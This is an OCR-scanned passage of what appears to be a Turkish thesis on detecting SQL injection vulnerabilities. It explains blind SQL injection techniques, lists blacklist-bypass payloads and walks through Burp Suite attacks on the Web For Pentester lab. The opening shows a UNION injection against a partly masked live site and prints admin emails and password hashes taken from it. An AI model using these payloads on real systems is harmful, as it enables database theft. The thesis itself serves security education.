ve sayfanin altinda kullanicinin bilgilerinin alindig1 goriilmektedir. Veritabanindan

bilgileri elde etmek i¢in asagidaki SQL kodu kullanilmistir.

http://doxxxxxx.com/view_faq.php?id=147+union+Select+concat(admin_id,0x3a,admi

n_email_address,0 x3a,admin_password),2+from+admin--

1:PROMARKINFOTECH@YAHOO.COM:9FCC265199B6BEFD223E117A8ACAEC
78:803:SANTOSHRUK @DOLIOSIS.COM:B302B49DB439BE28CDBB6E23D67D51
6B:D5

Bu saldiridan sonra web sitesinde bulunan bilgi yukarida gosterilmistir. Bu bilgide
stirastyla admin_id, admin _email address, admin password gibi bilgileri icermektedir.
Bu bilgi ile yoneticinin kullanici adi ve md5 sifreli parola ortaya c¢ikarilarak kolayca

desifre edilebilir [24].
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2.5.1.1. Kosullu Yanitlar

Bir saldiri tiirii olan Blind SQL enjeksiyonu, veritabanini siradan bir uygulama ekraninda

mantiksal bir ifadeyi degerlendirmeye zorlar. Ornek bir SQL ifadesi ele alnirsa:
SELECT Customer name FROM Customer WHERE Customer Id = ‘125" AND 1=1
Yukaridaki ifade normal bir sayfayla sonuglanacaktir.

SELECT Customer name FROM Customer WHERE Customer Id = ‘125> AND 1=2

Bu SQL ifadesi ile sayfa bir SQL enjeksiyonuna karsi savunmasizsa muhtemelen farkl
bir sonug verecektir. Bu durum saldirganin web uygulamasinin savunmasiz oldugunu ve
Blind SQL enjeksiyonunun miimkiin oldugunu bilmesine yardimci olur, ardindan
saldirgan baska bir tablodaki bir alanin icerigine bagli olarak dogru veya yanlis olarak
degerlendirilen ifadeler tasarlar. Oysa bir uygulama giivenliyse, kullanicinin girdisi bir
deger olarak degerlendirilecegi ve "125 AND 1 = 1" degeri tiir uyusmazlig1 hatasina

neden olacagi i¢in bu istegi reddedecektir [24].
2.5.1.2. Kosullu Hatalar

Bu SQL enjeksiyonunda, hatayla sonuglanan bir ifade degerlendirilir ve yalnizca

WHERE kosulu dogruysa bir hata déndiiriir. Ornegin,
SELECT 1/0 FROM Customers WHERE Customer 1d="125"

Sifira bolme yalnizca Customer 125 mevcutsa degerlendirilecek ve bir hatayla

sonuglanacaktir.
2.5.1.3. Zaman Gecikmeleri

Bu Blind SQL enjeksiyon tiiriinde, ylriitme sirasinda uzun ¢alisma stiresi alan bir SQL
sorgusu enjekte edilir. Yiriitme i¢in gegen slireye bagli olarak saldirgan, enjekte edilen
ifadenin dogru olup olmadigini belirlemek i¢in sayfanin yiiklenmesi i¢in gecen siireyi

Olgebilir.

2.6. SQL ENJEKSiYONUNDA VERi YUKLERININ DEGERLENDIRILMESI

Bir giivenlik uzmani veya bir saldirgan genellikle Sekil 2.25°te gosterildigi gibi elinde
hazirlanmig bir saldir1 yiikleri koleksiyonuna sahiptir. Yiikler, giivenlik uzmanlari
tarafindan cesitli uygulamalardaki SQL enjeksiyon agiklarini kesfetmek i¢in kullanilir.
Genellikle ortak bir saldir1 yiikleri kiimesi kullanir. Pratikte, bu tiir saldir1 yiikleri Sqlmap,
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Pangolin, BSQL Hacker gibi test araclarindan, exploit-db, GreySec gibi giivenlik
forumlarindan, fuzzdb, PentesterLab gibi web sitelerinden toplanabilir. Ayn1 zamanda,
daha fazla enjeksiyon tiirii gergeklestirmek icin, giivenlik uzmanlar1 genellikle bazi
mutasyon araglar1 veya sqlmap tamper gibi eklentiler kullanarak orijinal koleksiyonu

mutasyona ugratir.

?’Iag se_ttlelri. e Velzi Yril‘ﬁ Girigler; e.g.form.| Tuct adilen web SQL - >
orum siteleri. saldirilarinin -2 . .

— Yontem URL, ajax (test . . + | Veritabam
kitiiphane toplanmas: komutlar1) uygulamlar: sorgulay

bilgileri

Sekil 2.25. SQL enjeksiyonun fiili is akist.

Test edilen bir birimi yonlendirmek i¢in test senaryolarini manipiile etmek i¢in kullanilan
bir test komut dosyas1 gibi, ¢esitli erisim girislerinden bir Web uygulamasina bir yiik
yiiklenir. En kolay yontem, bir istek URL'sindeki bazi1 parametreleri degistirmek veya
dogrudan bir sayfa formuna kotli amagl girdiler yazmaktir. Bazen insanlar, yonlendirme
boliimi, kullanici aracist boliimii ve ana bilgisayar boliimii gibi daha hassas boliimleri
test etmek icin manuel olarak bir HTTP istek paketi de olusturur. Bir giivenlik uzmani
hedef web uygulamasinin yanitina gére bir enjeksiyonun basarili olup olmadigina karar
verecektir. Bu kontrol asamasinda, yaniti anlamaya ve sonucu 6nceden tanimlanmis

ozelliklere gore belirlemeye yardimci olmak i¢in bazi araglar olusturulur [4].

Bir web uygulamasi, bazi SQL enjeksiyon girisimlerini onlemek i¢in karmasik girdi
dogrulama mekanizmasina sahip olabilir. SQL enjeksiyon saldirilar1 hi¢bir zaman
bitmemistir ve giivenlik uzmanlar1 her zaman akilli bilgisayar korsanlarinin beklenmedik
saldir taktiklerinden ders almaktadir. Sekil 2.26 somut bir oturum agma modiiliiniin PHP
kodunu listeler. Bu kod alintisinin bir girdi dogrulama mekanizmasi oldugu bulunmustur.
6. satirda bulunan str replace() islevi, bosluklari ve benzer anahtar kelimeleri
filtreleyecektir. Ornegin, normal bir yiik kullanarak bir saldir1 baslatirsak, «> or *a’="a’#,”

€9

0zel karakter “’” ve tiim bosluklar kaldirilacaktir. Sonug olarak, sentezlenen sorgu ifadesi,
temelde web uygulamasmma zarar vermeyen “select * from users where
user_name="ora=a#’,” sekilde olacaktir. Ancak, “/**/” and “%27” 6zel karakter dizileri
kara listede eksiktir (Sekil 2.26. 4-5. satirlar). lyi tasarlanmis bir enjeksiyon denemesi bu
nedenle  dogrulama  mekanizmasin1  baglatabilir.  Bunu  gostermek  i¢in
“0027/**/or/**/%27a%27=%2T7a%27#” veri yikii alinmistir. Boyle kotii niyetli bir
kullanic1 ad1 gonderildiginde, “/**/” nor “%27” > anahtar kelimeler ve sorgu ifadesi

olarak taninir [4]. Sonrasinda asagidaki sorgu sentezlenecektir.
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“select * from users where user name="%27/**/or/**/%27a%27=%27a%27#”

%42 9429

“select * from users where user name="" or ’a’=’a’” ifadesi "users" tablosundaki tiim

Ogeleri kosulsuz olarak alabilen bu dizeye esittir.

Bagka bir yontem olarak etkin ve etkin olmayan yiiklerin aralarindaki benzerlikleri
karsilastirmaktir. Ornegin sozdizimi ve dilbilgisi agisindan genellikle birbirine Cizelge
2.5’te oldugu gibi yiiklerin kendi aralarinda benzerlikleri vardir. Etkin yiikler,
uygulamada bulunan SQL enjeksiyon zafiyetinin belirlenmesinde yapilan veri yiki
denemelerinde basar1 gosteren veri yiikleridir. Etkin olmayan yiikler ise SQL enjeksiyon
zafiyetinin belirlenmesinde yapilan veri yiikii denemelerinde sonu¢ alinamayan basarisiz
veri yiiklerine denir. Cizelge 2.5’te oturum agma modiiliine saldirmak i¢in kullanilan bazi
etkin yiikleri listelemektedir. Tablo iist kistm ve alt kisim olarak iki boliimden
olusmaktadir. Ug etkin yiikii ve on etkisiz yiikii listeleyen iist kistm ve alt kisimdir. Once
tist kismu ele alirsak, ilk siitun, yiik dizelerini gosterir. ikinci “sinif ici mesafe” siitunu,
etkin bir yiik ile diger etkin yiikler arasindaki ortalama diizenleme mesafesi benzerligi
olan smif igi bir mesafeyi hesaplar. Ugiincii siitun "siniflar aras1 mesafe", etkin bir yiik ile
tiim etkin olmayan yiikler arasindaki ortalama diizenleme mesafesi benzerligi olan bir
siniflar aras1 mesafeyi hesaplar. Ilk gosterilen faydali yiiktiir. Diger iki etkin yiike olan
ortalama diizenleme mesafesi 18.2, bununla on etkisiz yiik arasindaki ortalama
diizenleme mesafesi ise 64,7°dir. Bu durum Cizelge 2.5’te de gosterildigi gibi diger iki
etkin yiike ¢cok benzedigi ve bu yiik ile etkin olmayan yiikler arasinda biiyiik bir fark

oldugu anlamina gelir.
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Cizelge 2.5. Ornek veri yiikleri.

Smifi¢i | Smflar
Mesafe Arasi
Mesafe
) | 27T *or/**/%2Ta%2T=%27a%2T# 18.2 64.7
Etkin Veri
Viikleri [**[01/** 9271 %2T=%271 14.3 81.3
90271**10r/**/%271%27=%271 17.3 71.3
[**[or/**['a'=a
or 'abbab'="abbab
or/**/'1'/**/[like/**/'1
Etkin /**/or 'yes'="yes
Olmayan [FIFF[F] or/*[**/*['T'="1
Veri /**/[ or 'test'="test
Yiikleri Or/**[" '[**/[like/**/'
'/**%/or true--
[**[or/**['2'[**[like/**/'2
/** or'y'="y

Ayrica 6rnek savunmasiz sayfa icin etkin yiiklerin birbirine benzer oldugu gézlemine
varilir. Ayn1 zamanda, etkisiz yiiklerden farkli goriiniiyorlar. Gergek, karakterleri veya
karakter dizilerini kara listeye gore filtreleyen dogrulama mekanizmasiyla ilgilidir (Sekil
2.26’nin 4-5. satirlar1). Sonug olarak, hayatta kalan anahtar kelimeler nadirdir ve karsilik
gelen etkin ytikler genellikle yiik toplama alaninda merkezi dagitim veya kiimeye sahiptir.
Ayni1 nedenle, bir tiir SQL enjeksiyon giivenlik acig1 icin etkin bir yiik bulundugunda,
pratikte ona kapali olan yiikler dikkate alinir ve ayni giivenlik agigini ortaya ¢ikarma

olasiliklar1 daha yiiksektir [4].

Suser_name = str_replace($keys, "" Suser_name) ;

Sdb->guery (Ssqgl);

Sekil 2.26. SQL enjeksiyon giivenlik ag1g1 drnegi.

Geleneksel SQL enjeksiyon savunma yontemi, anahtar sozciikleri veya yasa dis1 dizeleri
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filtrelemek i¢in bir kara liste ve normal ifadeleri saklayan kara liste filtrelemeyi kullanir.
Ancak bu yontem, kara listenin disindaki anahtar kelimeleri ve dizeleri filtreleyemez ve

web programlarini yeni SQL enjeksiyon saldirilarina kars1 savunmasiz birakair.

32



3. VERI YUKUNE DAYALI SQL ENJEKSiYON ZAFIYETININ
BELIRLENMESI

3.1. SANAL PLATFORMUN OLUSTURULMASI

SQL enjeksiyon zafiyetinin belirlenmesi ile ilgili olarak yapilacak ¢alismada ilk olarak
bir fiziksel makineye birden ¢ok isletim sistemi kurulmasini saglayan VMware
WorkStation sanallastirma yazilimi kurulmustur. Bu sanal platform sayesinde
bilgisayarin donanim 6zelliklerinin bir kismin1 kullanarak sanal makinelere belli oranda
donanim ayrilabilmektedir. Bu sayede bilgisayar iizerinde c¢esitli isletim sistemleri
kurularak inceleme olanagi bulunur. Fiziksel bilgisayarlarda yapilan ¢aligmalar, internet
ortamindaki gezintiler bilgisayara virlis bulasmasini ve isletim sisteminin ¢okmesine
sebep olabilir. Wmware iizerinde bulunan Snapshot 6zelligi sayesinde bilgisayar yedegini
olusturarak, yasanabilecek isletim sisteminin ¢okmesi durumunda kisa bir siirede eski
haline dondiirebilme olanagr vardir. Sekil 3.1°de SQL enjeksiyon zafiyetinin

belirlenmesinde ¢alismada kullanilacak olan sistem semasini ve Sekil 3.2°de ag topolojisi

goriilmektedir.
> \ 127.0.0.1
sqlmap l
Sanal Kali Linux
¢ e ! B 3
% " EURPSUTE DVWA Veri Tabam
a8 —»
— Wireshark
L3 SUTE / ‘

Q

Pentester

<

192.168.165.16

l

‘Web For Pentester Veri Tabam

Burp Suite The Mole Uygulama
A
‘ 1192.168.165.21
N

A 4

ewenbAn

HeysaIM

Sanal Windows Do)

Sekil 3.1. SQL enjeksiyon analizindeki sistem semasi.
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Firewall

Firewall

127.0.0.1

192.168.165.16/24 192.168.165.17/24

192.168.165.21/24

192.168.165.18/24

Pentester

89
.

@

=] ¥

% Sanal Kali Linux Sanal Windows Weh BorFeatostor: Verl Tabam

Sekil 3.2. SQL enjeksiyon analizindeki ag topolojisi.

3.1.1. VMware Workstation Kurulumu

VMware Workstation sanal platform yazilimmin kurulum dosyas1t kendi
https://www.vmware.com/products sitesinden alinabilir. Bu ¢aligmada Workstation 12

PRO versiyonu kullanilmaistir.

ﬁ Yiiware Workstation Pro Setup — *

Welcome to the VMware Workstation Pro
Setup Wizard

VHWARE .
J The Setup Wizard allows you to change the way VMware
WORKSTATION Workstation Pro features are installed on your computer or

PRO to remove it from your computer. Click Next to continue or
Cancel to exit the Setup Wizard.

Sekil 3.3. VMware Sanal Platformun kurulumu.

VMware WorkStation sanal platform yaziliminin bilgisayara kurulmasindan sonra, sanal
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platform tizerinde SQL enjeksiyon zafiyetlerinin belirlenmesinde kullanilacak Sqlmap
aracin1 barindiran, penetrasyon testlerinde kullanilan Kali Linux isletim sistemi ve SQL
enjeksiyon zafiyeti barindiran veri yiikii deneme islemlerinin yapacagi “Web For
Pentester” web uygulamalarinin .iso dosyalar1 aktarilarak kurulumlar1 yapilmistir. Sekil
3.4’te VMware WorkStation sanal platform ve iizerine kurulan uygulama ve isletim

sistemleri goriilmektedir.

1l VMware Workstation

File Edit View VM Tabs Help 0 || =

Libra X A 1
i .| 1o Home .| webforpentester | Kali Linwx

& Type here to search ||+ —

=] i My Computer

Kali Li s
st WORKSTATION 12
» webforpentester
L}/ Shared VMs
Create a New Open a Virtual Connectto a Connect to
Virtual Machine Machine Remote Server VMware vCloud Air

Sekil 3.4. VMware Workstation Sanal Platformu.

3.1.2. Web For Pentester Kurulumu

Web for pentester uygulamasi https://pentesterlab.com web sayfasi tizerinden .iso uzantili
kurulum dosyasi indirilebilmektedir. Uygulama kurulum dosyasi indirildikten sonra Sekil
3.5’te goriildiigii gibi VMware WorkStation sanal platform {izerine yeni sanal makine

secenegi ile donanim Ozellikleri segilerek kurulum islemi gergeklestirilir.

(B vhware Workstation

File Edit View VM Tebs Help 0= B
(5] New Virtual Machine... CuleN
My Computer

52 New Window F

Open.. Cirl+0

Close Tab Ctrl+W
B Connect to Server. Ctrl+L WORKSTATION 12
7 Connect to VMware vCloud Air...
&5 Virtualize a Physical Machine...

Export to OVF... + ﬁ Q
[ Map Virtual Disks...

Exit Create a New Open a Virtual Connect to a Connect to

- Virtual Machine Machine Remate Server VMware vCloud Air

Sekil 3.5. Yeni sanal makine olusturulmasi.
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WORKSTATION 12

Mew Virtual Machine Wizard =

Guest Operating System Installation
A virtual machine is like & physical computer; it needs an operating

system, How will you install the guest operating system?

Create a Mew | Install from: Connect to
Virtual Machine = ) vare vCloud Air
() Installer disc:

— DVD RW Stirticisi (£5)

(®) Installer disc image file {isa):

iT=:_'Programlar'\web_forjente_s?r_i386.isn7v-; Browse...

i) Debian 6 detected.

()1 will install the operating system later,
The virtual machine will be created with a blank hard disk.

< Back MNext > Cancel

U

Sekil 3.6. Web For Pentester kurulum dosyasi aktarima.

Harddisk boyutu 20 GB ve sanal platform {izerinde uygulamaya erisebilmek i¢in network
adaptori ag baglantis1 “Bridge Mod” olarak segilir ve fiziksel olarak ayni IP blok iizerinde
IP adresi almasi saglanir. Web for pentester uygulamasi sanal platform iizerinde gerekli

konfigiirasyon islemleri yapildiktan sonra baglatilir.

58] My Computer E‘ WebForPentester

debian

he Universal Operating System

r
T

Boot menu

Live (failsafe)
Memory test
Help

Automatic boot in 1 second...

Sekil 3.7. Web For Pentester.

36



Web for pentester uygulamasi tizerinde komut sisteminde aldigi ip adresini 6grenebilmek
icin “ifconfig” komutu caligtirilarak sanal web uygulamasinin hangi IP adresini aldigi
Ogrenilir. Bu IP adresi web tarayict adres ¢ubuguna girilerek, Web for pentester

uygulamasinin ara yliziine erisilir.

@ 192.160.123.12

Web For Pentester

This exercise is a set of the most common web vulnerabilities

W Follow (@Pentestorial  BERSTRRTT]

SQL injections Directory traversal

« Example 1 « Example 1: §
« Example 2 « Example 2: @
- 3 « Example 3: §

File Include Code injection Commands injection

+ Example 1 « Example 1 « Example 1
» Example 2 » Example 2 » Example Z
» Examgle 3 = Example 3

» Example 4

Sekil 3.8. Web for pentester uygulama arayiizii.

Sekil 3.8’de web uygulama arayliziinde goriildiigli gibi cesitli giivenlik zafiyetlerini

baridiran uygulama 6rnekleri mevcuttur.

3.1.3. Kali Linux Kurulumu

Kali Linux temelde penetrasyon testlerini yapmak icin gelistirilmis bir Linux isletim
sistemi dagitimidir. Kali Linux'un bir¢ok olanagi ve farkl tiirde araglari vardir. Ag
giivenligini, isletim sistemlerinin giivenligini, web uygulamalarinin giivenligi gibi
testlerin yapilmasina imkan verir. Kali Linux, sanal bir makineye kurularak sanal ortamda
kullanilabilir. Ayrica, sabit diskte kurulum yazilimi1 olmadan, USB veya DVD gibi harici
bir kaynaga eriserek calistirilabilir. Kali Linux genelde sanal bir makineye kurulmasi
Onerilir. Yapacagimiz calismada da Kali Linux sanal makine olarak kurulmustur.
Penetrasyon testleri yapmak i¢in Kali Linux igerisinde bir¢cok ara¢ vardir. Yapilan
calismada SQL Enjeksiyon zafiyetinin belirlenmesinde daha cok “sqlmap” araci

kullanilmastir.

Kali Linux isletim sistemini https://www.kali.org/ web adresinden .iso uzantili kurulum
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https://www.kali.org/

dosyast indirilebilir. Kali Linux isletim sisteminin kurulum dosyasi indirildikten sonra
Sekil 3.9°da goriildiigli gibi VMware WorkStation sanal platformuna “yeni sanal makine”

segenegi yardimiyla Kali Linux sanal makinesi i¢in gerekli donanimsal degerler verilerek

olusturulur.
Mew Virtual Machine Wizard
Processor Configuration
Spedify the number of processors for this virtual machine.
Processors
Number of processors: 2 -
Number of cores per processor: 2 -
Total processor cores: 4
Help < Back Cancel

MNew Virtual Machine Wizard >
Memory for the Virtual Machine
How much memory would you like to use for this virtual machine?
Specify the amount of memory allocated to this virtual machine. The memory size
must be a multiple of 4 MB.
&4 GE Memory for this virtual machine: 4096 = MB
32 GE
16 GB
8GB 4 )
sce @l @ Maximum recommended memory:
1GE 9908 MB
1GB
512 MB o [@ Recommended memory:
256 MB 512 MB
128 ME
64 MB <] [ Guest OS5 recommended minimum:
32 MB 54 MB
16 ME
EME
4 MB
< Back Next = Cancel

Sekil 3.9. Kali Linux sistem kaynaklarinin verilmesi.

Olusturulan sanal makinenin network baglanti sekli yine “bridge” mode olarak ayarlanir

ve penetrasyon ¢aligmast i¢in ayni IP adres blogunda olmasi saglanir.

Mew Virtual Machine Wizard

Specify Disk Capacity
How large do you want this disk to be?

Maximum disk size (GB): .02

Recommended size for Debian 8.x 64-bit: 20 GB

[ allocate all disk space now.
Allocating the full capacity can enhance performance but requires all of the

physical disk space to be available right now. If you do not allocate all the
space now, the virtual disk starts small and grows as you add data to it.

(D) store virtual disk as a single file
(®) 5plit virtual disk into multiple files

Splitting the disk makes it easier to move the virtual machine to another
computer but may reduce performance with very large disks.

< Back Mext = Cancel

MNew Virtual Machine Wizard *
Ready to Create Virtual Machine
Click Finish to create the virtual machine. Then you can install Debian 8.x
&4-bit.

The virtual machine will be created with the following settings:

Name: Kali A
Location: C:Wsers\Dell\Documents\irtual Machines\Kali

Version: Workstation 12.0

Operating System: Debian 8.x 64-bit

Hard Disk: 30 GB, Split

Memory: 4095 MB

Network Adapter:  Bridged (Automatic)

4 CPU cores, CDJ/OVD, USB Controller, Printer, Sound... ¥

Other Devices:

Customize Hardware...

<ok =

Sekil 3.10. Kali Linux sistem kaynaklarinin verilmesi ve olusturulmasi.

Olusturulan Kali Linux isletim sistemi VMware sanal platformunda baglatilarak kurulum

islemleri yapilmistir.
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KAL

Rali Linux installer menu (BIOS mode)

Graphical install

Install

Advanced options

Accessible dark contrast installer menu
Help

Install with speech synthesis

Sekil 3.11. Sanal ortamda Kali Linux kurulumu.

Library

Q, Tepe here to search

1 B 1y Computer
(5 Kl Vi
| ') webtorpentactar
| Ubuntu
| Windows 7
L Shared WMs

‘irtual Maching Scttings

Hardvinra Sipions

fevicr Summany Detne simlils

o Memery BoE Cerriseled

[ Processoes ] [] cormrect at poveer o

i Hard Dsk (SCST) a0 GR
1izing fla hpinsakinplimle-. | bk connecion

piar  Aridgad (A

Fragert
i et [ mephicate phyzical netsrk cornechon state

80 Bk Corrected drectly t the plivaicsl network

Preasol. TINAT Usenl L shere Une busts [P s

Vst anly: A grivaite retanek snared wi the fost
i Custern: Spachis visual nebwnrk
)

1 rankor

(ILAN scgrzat:

| Lan sagments.. | | avanced..

Sekil 3.12. Kali Linux ve baz1 zafiyet test araglari.

Kali Linux isletim sisteminin kurulum islemi bittikten sonra baslatildiginda, Sekil 3.12’
de gosterilen aracglar, web uygulamalar1 iizerindeki giivenlik zafiyetlerinin testinde
kullanilan uygulama iizerindeki zafiyetleri denetlemek ve istismar etmek i¢in kullanilan

araclardir. Bu calismada sekil 3.12°de isaretlenen “sqlmap” araci kullanilmistir.
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3.1.4. Burp Suite ile SQL Enjeksiyon Zafiyetinin Analizi ve Belirlenmesi

Burp Suite araci 6n tanimli olarak local host IP adresi olan 127.0.0.1 ve 8080 portunu
dinlemektedir. Bunun yani sira farkli adreslere de baglanabilmektedir. Ornegin ayn1 ag
lizerinde bagka bilgisayarlarinda trafigini gorebilecek Proxy modunda da dinleme
yapabilmektedir. Burp Suite aracinin kuruldugu makinanmn trafigi goriintiilenmek
istenirse “Binding to adress” seceneginde adres boliimii 127.0.0.1 olarak kalabilir. Burp
Suite arac1 baska bir makinede yer aliyor ve dinlenmek istenen baska bir makine ise bu
kez ayn1 agdan IP adresi secilmesi gerekir. Bu sekilde agda yer alan diger bilgisayarlar

bu IP adresini Proxy olarak kullanabilmelerini saglar.

Proxy olarak dinleme ayarlar1 yapildiktan sonra http trafiginin goriintiilenebilmesi i¢in
kullanacagimiz tarayicinin ayarlar sekmesinden vekil sunucuyu Burp Suite aracinin
kurulu oldugu makinenin IP adresi ve port olarak 8080 olarak ayarlanir. Artik tarayici

tizerinde yapilacak tiim istekler once Burp Suite araci tizerine iletilecektir [23].

Web for pentester uygulamasi agilarak tizerinde SQL enjeksiyon zafiyetlerinin bulundugu
linklere tiklandiginda Sekil 3.13’te yapilan iste§in Burp Suite aracindan gectigi

goriilmektedir.

! Burp Suite Community Edition v2020.8.2 - Temporary Project - o pd
Burp Project intruder Repeater \Window Help

| Dashbosrs [.anue! sl reuder [ nepeam"] Sequencer | Deunder-l-tumpnref ] Extender [ eRatoN i‘J‘J:eruphﬂM -J

| intercept Irﬁ'an-m T VreoSockets history l Options '\

Filer: Hiding CSS, image and general binary content }@
2 - Params Edited Status. Length MIME type Extension Tie Comment ns P
208 medium systems ports v 17267.181.80 3
207 hitps: /Mightstep medium systems. OPTIONS  JapifvOireports v 172.67.161.80
208 hitp/r182 188.185.71 GET Isaliexampie | phpTname=root v 200 1850 HTML php PentesterLab &raquo; W 192 16816571
m hitps /Mightstep medium systems. OFTIONS  /apivlireports v 1726718180
212 hitps:/Mightstep. medium systems. OPTIONS  /apifvlireports. v 172.67.181.80
213 hitp! &p medium systems /reports v 172.67.181.80
214 hitp: ep. medium. systems. OPTIONS  /api'vlireports. v 172.67.181.80
215 ep.medium.systems. OPTIONS  /apivlireports. v 172.67.181.80
216  hitps:/Aransiate google. com GET /_ITransiate\Vebserveriigen204/7tma. v 204 1212 HTML v 172217.169.206
217 hitps /Mightstep. medum systems. OPTIONS  Japitv ports. v 17267.161.80
218 hitps /Mightsiep medium systems. OPTIONS  /apivlireports. v 17267.181.80
219 hitps:/fightstep medium systems  OPTIONS /apivOireports ¥ 17267.181.80 v
oL — —
a- -
Raw. | Porams | Headers | Hex | Raw | Headers | Hex |
m n Actions v CEUE Raw  Render n Actions Vv
1 BET /sqli/examplel php?name=ro. ot HTTP/1.1 ' HITP/1.1 200 OK

Jr

r Date: Sar, 28 Aug 2001 00:00:02 GMT
4; %64, rv:93.0) Gecko/20100101 /2.2.16 )

text/htul, applicacion/xheml+xml, application/xml;q=0.9,image/avit, inage/webp,*/*;q=0

x=TR,tr;q=0.8,en-US; q=0.5, en;q=0.3
ip, deflate

Accept-Language
Ace

Sekil 3.13. Burp Suite aracinda goriintiilenen istek baglanti.

“Send to repeater” secenegi segilerek tarayici iizerinde yapilacak islemleri Burp Suite

araci iizerinde daha hizli islem yapilmas1 saglanir. Sekil 3.13’te goriildiigii iizere sol taraf
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web sunucusuna yapilan istegi, sag taraf alinan cevabi gostermektedir. Sag tarafta
bulunan cevap lizerinde sag tiklanip “Show response in browser” secenegi secildikten
sonra kopyalanan link tarayiciya yapistirildiginda Sekil 3.14’te goriildiigii gibi web for

pentester sunucusundan gelen cevabin aynisi tarayici lizerinde gorlintiillenmistir.

O & 192.168.165.71/sgli/example1.php?name=root

id name age
2 root 30
© PentesterLab 2013

Sekil 3.14. SQL enjeksiyon zafiyetli web sayfa goriintiisii.

W Burp Suite Community Edition v2020.9.2 - Temparary Project O >
Burp Project Intruder Repeater Window Help

[ shiboard ITurget i Proxy I intruder | Repeater | Sequencer IDecoder ] Comparer Iﬁx‘tender T Project options I User cptions }
ma

| sena | , ‘ v Target: http:1192.168.165.11 7 (7)

u= -
Hesponst

Raw | Params ] Headers I Hex 1 Raw |.Headers I Hex |

t \n Actions v Zull Raw  Render \n Actions Vv

I GET /sqli/examplel php?name=root HTTP/L.1
2 Host: 192.16B8.165.71
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win&4; xEd4;
rv:93.0) Gecko/Z0l00101 Firefox/S3.0 s <table class='table table-striped'>
4 Accept: 5 <tr>
text/html,application/xhtml+xml, application/xml;q=0.9,im <th>
age/avif, image /webp ,*/*;q=0.8 id
¢ Accept-Language: tr-TR,tr;q=0.8,en-US,g=0.5,en.q=0.3 </th>
Accept-Encoding: gzip, deflate <th>
7 Connection: close name
% Upgrade-Insecure-Requests: 1 </th>
<th>
</th>
</tr>

>
e

0.9

</rable>
<footer>
<p>
Lcopy; PentesterLab 2013
</p>
</footer>

b 4 <fdivs> X
- . P ——

Sekil 3.15. SQL enjeksiyon zafiyetli sayfanin burp suite aracinda goriintiilenmesi.
Sekil 3.16’da Web for pentester uygulamasindaki 1 numarali SQL enjeksiyon zafiyetinin
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bulundugu linke “ http://192.168.165.71/sqli/fexamplel.php?name=root > tirnak ()
atildiginda sayfanin bir hatadan dolayr degistiginin goriilmesi lizerine SQL enjeksiyon

zafiyetinin var oldugunu diislinerek, araya kodlar sikistirilabilecegini anliyoruz.

O B8 192.168.165.71/sgli/example1.php?name=root ¢

PentesterLab.com  Home

© PentesterLab 2013

Sekil 3.16. Atilan tirnak ile alinan cevap.

‘ B Burp Suite Cor tv Edition v20209.2 - Temporary Project B e 7

Burp Project Intruder Repeater Window Heip

[ Dashboard | Target | Proxy | intruder | Repeater | Sequencer | Decoder | comparer | Extender | Project options | User aptions

.

[ sena | ¢ | <ir > | Target: http1192.168.165.71 7 (2)
M =rem =

\n Actions v 25 Raw Render \n Actions v
CET /sqli/examplel.php?name=root' HITP/1l.1 | & B A
> T f‘cﬂ Ten ‘;_5 'TT P = : 44 <a class="brand" href="https://pentesterlab.
= oSt S..1bd. lba.
<div el s="nav-coll. e coll e">
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; WinEd;: ; riwlccjqu_?;__:: Mt
44 u ="nay
¥64; rv:93.0) Gecko/Z0100101 Firefox/93.0 <1 1 " .
" - 1 class= active
& |Aerapr . X . <a href="/">Home</a>
text/html, application/xhtml+xml,application/xmnl;q= .
0.9, image/avif, image /webp,*/*;q=0.8
= Accept-lLanguage:
tr=TR,tr;q=0.8,en-US;q=0.5,en;q=0.3 T e i
¢ Accept-Encoding: gszip, deflace <div> - ¥
7 Connection: claose <f(il'-':‘
Z Upgrade-Insecure-Requests: 1 <d )l
aaw
<div class="container">
<footer>
<p> \‘
&copy; PentesterLab 2013
<[1)>
</footer>
62 <fdiv>
<!== fcontainer =--»
</body>
</html>
4
- 1¥
v <t 7 T

'®{§‘,5|LJI:’\ = 0 matches ®{§}|31 0 matches
Sekil 3.17. Atilan tirnak ile alinan cevabin Burp Suite aracinda tespiti.

Ornegin web sayfasi {izerindeki calisan sorgu;
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select id,name,age from users where name="root' sorgusu olarak diisiliniilebilir. Bizim
yapacagimiz istek bu sorgu iizerinden “name” igerisine yazilacaktir. Name sorgusunun
karsilig1 varsa web sayfasindaki gibi adin1 ve yasini getirecektir. Yoksa herhangi bir

cevap getirmeyecektir.

99

Yukaridaki sorguya gorildiigii gibi “or” mantiksal baglacini ekleyip sonucu 1° e
esitlersek, bize “where 1” yani true degerini asagidaki sorgudaki gibi dondiirecek ve sql

tablosunu dokecektir.
select 1d,name,age from users where name="root' or 1 or"
select id,name,age from users where 1

Burp Suite aracinda bu igslem “Request” bolimiinde GET istegi degistirilerek veri yiikii

tizerinden SQL komutlariyla payload (veri yiikii) denemeleri ile yapilmigtir.

SQL enjeksiyon zafiyeti barindiran http://192.168.165.71/sqli/examplel.php?name=root
sayfasindaki tim ad ve yas bilgilerini ¢ekebilmek i¢in payload islemini
gerceklestirilmistir. Bunun i¢in Burp Suite araci lizerinde ‘or+1+or’ SQL Enjeksiyon
payload araciligiyla tiim ad ve yas bilgileri Sekil 3.18’de goriildiigii gibi ¢ekilmistir. Burp
suite aracinda kullanilan “+” karakterlerinin sebebi Burp Suite arac1 bosluk karakterlerini
algilayamadigindan dolayr Unicode olarak yerine gegen bosluk karakteri yerine “+”

karakteri kullanilmistir.

a- -
jRnw ] Params ] Headers ] Hex { Raw | Headers ] Hex ]
m \n Actions v Raw Render n Actions v
GET /sqli/examplel.php?name=ro:« HTTP/1.1 A </th>
2 Host: 197.168.155.71 r <th>
? User-Agent: Mozilla/5.0 (VWindows NT 10.0; Wingd; x&4; name
rv:93.0) Gecko/20100101L Firefox/93.0 </th>
4 Accept <th>
text/html,application/xhtml+xml,application/xml;q=0.9,im age
age/avif,image/webp,*/*;q=0.8 </th>
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5 en;q=0.3 <fer>
¢ Accept-Encoding: gzip, deflate EQ <tr>
7 Connection: close <cd>
5 Upgrade-Insecure-Requests: 1 1
</od>
<td>
admin
</ed>

<td>
10
</td>
</tr>
<cr>
<cd>
</td>
<cd>
root
</cd>
<td>
30
</od>

Sekil 3.18. Burp Suite aracinda yapilan payload denemesi.
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o 8 192.168.165.71/sgli/example1.php?name=root%18'or+1+or'

PentesterLab.com Home

id name age
1 admin 10
2 root 30
